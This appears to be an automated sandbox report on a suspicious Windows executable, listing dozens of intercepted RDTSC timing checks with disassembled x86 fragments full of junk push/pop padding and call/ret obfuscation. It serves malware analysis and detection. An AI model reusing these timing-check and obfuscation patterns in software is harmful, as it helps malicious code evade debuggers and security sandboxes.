Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E086D8 second address: E086E6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E086E6 second address: E086EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E086EA second address: E086EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E086EE second address: E08707 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FAD00757CA1h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E09941 second address: E0999F instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FAD011DC3AAh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e jl 00007FAD011DC3B3h 0x00000014 pushad 0x00000015 jmp 00007FAD011DC39Dh 0x0000001a jmp 00007FAD011DC39Eh 0x0000001f popad 0x00000020 mov eax, dword ptr [eax] 0x00000022 push edi 0x00000023 jmp 00007FAD011DC39Ch 0x00000028 pop edi 0x00000029 mov dword ptr [esp+04h], eax 0x0000002d push eax 0x0000002e push edx 0x0000002f pushad 0x00000030 push eax 0x00000031 push edx 0x00000032 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E0999F second address: E099A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E0FD58 second address: E0FD5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E0FD5C second address: E0FD60 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E0FD60 second address: E0FD66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E0FD66 second address: E0FD6D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E0FD6D second address: E0FD73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E0FED2 second address: E0FF0F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD00757CA1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a ja 00007FAD00757CB0h 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E114C6 second address: E114CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E114CA second address: E114D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E114D0 second address: E114DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007FAD011DC396h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E115AD second address: E115B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E115B1 second address: E115CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FAD011DC3A2h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E11762 second address: E11778 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FAD00757C9Fh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E11778 second address: E1177C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E11925 second address: E1192B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E11C0F second address: E11C14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E11C14 second address: E11C1A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E11DBB second address: E11DC0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E11DC0 second address: E11DC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E1284A second address: E1284E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E12930 second address: E12934 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E12934 second address: E12965 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 jmp 00007FAD011DC3A9h 0x0000000d nop 0x0000000e mov si, 9AA1h 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jo 00007FAD011DC398h 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E146C5 second address: E14727 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edi 0x00000006 push eax 0x00000007 jmp 00007FAD00757CA8h 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push eax 0x00000010 call 00007FAD00757C98h 0x00000015 pop eax 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a add dword ptr [esp+04h], 0000001Ah 0x00000022 inc eax 0x00000023 push eax 0x00000024 ret 0x00000025 pop eax 0x00000026 ret 0x00000027 push 00000000h 0x00000029 stc 0x0000002a push 00000000h 0x0000002c jmp 00007FAD00757CA1h 0x00000031 xchg eax, ebx 0x00000032 jo 00007FAD00757CB2h 0x00000038 pushad 0x00000039 push eax 0x0000003a push edx 0x0000003b rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E14727 second address: E14751 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAD011DC3A4h 0x00000009 popad 0x0000000a push eax 0x0000000b pushad 0x0000000c jg 00007FAD011DC39Ch 0x00000012 push ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E15057 second address: E1506F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD00757CA4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E14DD5 second address: E14DDA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E1581E second address: E1582A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E179D2 second address: E17A27 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jg 00007FAD011DC396h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp], eax 0x00000011 mov dword ptr [ebp+122D17AFh], esi 0x00000017 push 00000000h 0x00000019 push 00000000h 0x0000001b push ebx 0x0000001c call 00007FAD011DC398h 0x00000021 pop ebx 0x00000022 mov dword ptr [esp+04h], ebx 0x00000026 add dword ptr [esp+04h], 00000017h 0x0000002e inc ebx 0x0000002f push ebx 0x00000030 ret 0x00000031 pop ebx 0x00000032 ret 0x00000033 jmp 00007FAD011DC39Ah 0x00000038 push 00000000h 0x0000003a mov edi, dword ptr [ebp+122D2BB7h] 0x00000040 xchg eax, ebx 0x00000041 push eax 0x00000042 push edx 0x00000043 push eax 0x00000044 push edx 0x00000045 jng 00007FAD011DC396h 0x0000004b rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E17A27 second address: E17A2D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E177E5 second address: E17809 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FAD011DC3A9h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pushad 0x0000000f popad 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: DCB578 second address: DCB57E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: DCB57E second address: DCB588 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: DCB588 second address: DCB58E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E1E703 second address: E1E70D instructions: 0x00000000 rdtsc 0x00000002 jne 00007FAD011DC396h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E1D873 second address: E1D879 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E1E70D second address: E1E737 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD011DC3A3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jc 00007FAD011DC3A8h 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FAD011DC39Ah 0x00000017 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E1E737 second address: E1E7AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push edx 0x0000000a call 00007FAD00757C98h 0x0000000f pop edx 0x00000010 mov dword ptr [esp+04h], edx 0x00000014 add dword ptr [esp+04h], 00000015h 0x0000001c inc edx 0x0000001d push edx 0x0000001e ret 0x0000001f pop edx 0x00000020 ret 0x00000021 mov dword ptr [ebp+122D1A04h], esi 0x00000027 push ecx 0x00000028 mov di, dx 0x0000002b pop edi 0x0000002c push 00000000h 0x0000002e sub dword ptr [ebp+122D327Eh], edx 0x00000034 push 00000000h 0x00000036 push 00000000h 0x00000038 push edx 0x00000039 call 00007FAD00757C98h 0x0000003e pop edx 0x0000003f mov dword ptr [esp+04h], edx 0x00000043 add dword ptr [esp+04h], 0000001Dh 0x0000004b inc edx 0x0000004c push edx 0x0000004d ret 0x0000004e pop edx 0x0000004f ret 0x00000050 mov dword ptr [ebp+1246A300h], ecx 0x00000056 mov edi, 0F096A30h 0x0000005b xchg eax, esi 0x0000005c push eax 0x0000005d push edx 0x0000005e jno 00007FAD00757C9Ch 0x00000064 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E1E7AF second address: E1E7B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E1E8B8 second address: E1E8BD instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E1E8BD second address: E1E945 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a mov edi, dword ptr [ebp+122D2CA3h] 0x00000010 push dword ptr fs:[00000000h] 0x00000017 push 00000000h 0x00000019 push esi 0x0000001a call 00007FAD011DC398h 0x0000001f pop esi 0x00000020 mov dword ptr [esp+04h], esi 0x00000024 add dword ptr [esp+04h], 0000001Bh 0x0000002c inc esi 0x0000002d push esi 0x0000002e ret 0x0000002f pop esi 0x00000030 ret 0x00000031 mov dword ptr fs:[00000000h], esp 0x00000038 push 00000000h 0x0000003a push esi 0x0000003b call 00007FAD011DC398h 0x00000040 pop esi 0x00000041 mov dword ptr [esp+04h], esi 0x00000045 add dword ptr [esp+04h], 00000015h 0x0000004d inc esi 0x0000004e push esi 0x0000004f ret 0x00000050 pop esi 0x00000051 ret 0x00000052 jnl 00007FAD011DC39Ch 0x00000058 mov eax, dword ptr [ebp+122D0AD9h] 0x0000005e mov edi, dword ptr [ebp+122D295Bh] 0x00000064 push FFFFFFFFh 0x00000066 mov bx, 3D5Ch 0x0000006a push eax 0x0000006b pushad 0x0000006c pushad 0x0000006d pushad 0x0000006e popad 0x0000006f pushad 0x00000070 popad 0x00000071 popad 0x00000072 push eax 0x00000073 push edx 0x00000074 push ebx 0x00000075 pop ebx 0x00000076 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E207A9 second address: E207C1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD00757CA4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E207C1 second address: E207C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E20904 second address: E2090A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E21B0A second address: E21B17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 je 00007FAD011DC396h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E21B17 second address: E21B24 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E21B24 second address: E21B28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E24833 second address: E2488C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FAD00757CA9h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a push edi 0x0000000b pop edi 0x0000000c popad 0x0000000d jo 00007FAD00757C9Eh 0x00000013 push eax 0x00000014 pop eax 0x00000015 jnc 00007FAD00757C96h 0x0000001b pop edx 0x0000001c pop eax 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 jmp 00007FAD00757CA6h 0x00000025 je 00007FAD00757C96h 0x0000002b popad 0x0000002c jo 00007FAD00757C98h 0x00000032 pushad 0x00000033 popad 0x00000034 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E24EE2 second address: E24EFB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD011DC39Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jc 00007FAD011DC39Eh 0x00000010 push ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E24EFB second address: E24F1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 nop 0x00000006 mov di, bx 0x00000009 push 00000000h 0x0000000b add dword ptr [ebp+122D1CAFh], ebx 0x00000011 push 00000000h 0x00000013 mov ebx, dword ptr [ebp+122D2A2Bh] 0x00000019 xchg eax, esi 0x0000001a push eax 0x0000001b push edx 0x0000001c push ebx 0x0000001d jnp 00007FAD00757C96h 0x00000023 pop ebx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E24F1F second address: E24F3A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD011DC3A0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E24F3A second address: E24F3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E24F3E second address: E24F42 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E24F42 second address: E24F48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E24F48 second address: E24F4E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E250AC second address: E250DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FAD00757C96h 0x0000000a popad 0x0000000b jns 00007FAD00757CA8h 0x00000011 jmp 00007FAD00757CA2h 0x00000016 popad 0x00000017 push eax 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b jbe 00007FAD00757C96h 0x00000021 push ecx 0x00000022 pop ecx 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E250DD second address: E250E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E250E3 second address: E250E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E26EDB second address: E26F51 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push ebp 0x0000000c call 00007FAD011DC398h 0x00000011 pop ebp 0x00000012 mov dword ptr [esp+04h], ebp 0x00000016 add dword ptr [esp+04h], 00000014h 0x0000001e inc ebp 0x0000001f push ebp 0x00000020 ret 0x00000021 pop ebp 0x00000022 ret 0x00000023 mov ebx, ecx 0x00000025 push 00000000h 0x00000027 push 00000000h 0x00000029 push esi 0x0000002a call 00007FAD011DC398h 0x0000002f pop esi 0x00000030 mov dword ptr [esp+04h], esi 0x00000034 add dword ptr [esp+04h], 0000001Ah 0x0000003c inc esi 0x0000003d push esi 0x0000003e ret 0x0000003f pop esi 0x00000040 ret 0x00000041 push 00000000h 0x00000043 push 00000000h 0x00000045 push edi 0x00000046 call 00007FAD011DC398h 0x0000004b pop edi 0x0000004c mov dword ptr [esp+04h], edi 0x00000050 add dword ptr [esp+04h], 00000015h 0x00000058 inc edi 0x00000059 push edi 0x0000005a ret 0x0000005b pop edi 0x0000005c ret 0x0000005d mov edi, dword ptr [ebp+122D1C20h] 0x00000063 xchg eax, esi 0x00000064 pushad 0x00000065 push eax 0x00000066 push edx 0x00000067 push eax 0x00000068 push edx 0x00000069 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E25FF9 second address: E25FFF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E26F51 second address: E26F55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E25FFF second address: E26003 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E26F55 second address: E26F84 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FAD011DC396h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d jnc 00007FAD011DC396h 0x00000013 popad 0x00000014 popad 0x00000015 push eax 0x00000016 pushad 0x00000017 push edi 0x00000018 pushad 0x00000019 popad 0x0000001a pop edi 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007FAD011DC3A2h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E2A01D second address: E2A022 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E2A022 second address: E2A08A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a call 00007FAD011DC3A2h 0x0000000f mov dword ptr [ebp+122D195Ah], edx 0x00000015 pop edi 0x00000016 push 00000000h 0x00000018 push 00000000h 0x0000001a push esi 0x0000001b call 00007FAD011DC398h 0x00000020 pop esi 0x00000021 mov dword ptr [esp+04h], esi 0x00000025 add dword ptr [esp+04h], 00000014h 0x0000002d inc esi 0x0000002e push esi 0x0000002f ret 0x00000030 pop esi 0x00000031 ret 0x00000032 mov ebx, dword ptr [ebp+122D1D01h] 0x00000038 mov dword ptr [ebp+122D370Dh], edx 0x0000003e push 00000000h 0x00000040 mov dword ptr [ebp+122D1A88h], edx 0x00000046 push eax 0x00000047 push edi 0x00000048 push eax 0x00000049 push edx 0x0000004a jmp 00007FAD011DC39Fh 0x0000004f rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E2A08A second address: E2A08E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E2914B second address: E291EE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD011DC3A0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jbe 00007FAD011DC3A1h 0x00000010 jmp 00007FAD011DC39Bh 0x00000015 nop 0x00000016 mov dword ptr [ebp+122D27DFh], edx 0x0000001c push dword ptr fs:[00000000h] 0x00000023 push 00000000h 0x00000025 push ecx 0x00000026 call 00007FAD011DC398h 0x0000002b pop ecx 0x0000002c mov dword ptr [esp+04h], ecx 0x00000030 add dword ptr [esp+04h], 00000016h 0x00000038 inc ecx 0x00000039 push ecx 0x0000003a ret 0x0000003b pop ecx 0x0000003c ret 0x0000003d mov ebx, ecx 0x0000003f mov dword ptr fs:[00000000h], esp 0x00000046 mov bx, 6A74h 0x0000004a mov bx, 5B00h 0x0000004e mov eax, dword ptr [ebp+122D109Dh] 0x00000054 push 00000000h 0x00000056 push ecx 0x00000057 call 00007FAD011DC398h 0x0000005c pop ecx 0x0000005d mov dword ptr [esp+04h], ecx 0x00000061 add dword ptr [esp+04h], 0000001Bh 0x00000069 inc ecx 0x0000006a push ecx 0x0000006b ret 0x0000006c pop ecx 0x0000006d ret 0x0000006e mov edi, 137D7590h 0x00000073 push FFFFFFFFh 0x00000075 clc 0x00000076 push eax 0x00000077 jng 00007FAD011DC3A4h 0x0000007d push eax 0x0000007e push edx 0x0000007f jg 00007FAD011DC396h 0x00000085 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E2A19E second address: E2A1BB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD00757CA2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d push edi 0x0000000e pop edi 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E2A1BB second address: E2A1C0 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E2C16A second address: E2C16F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
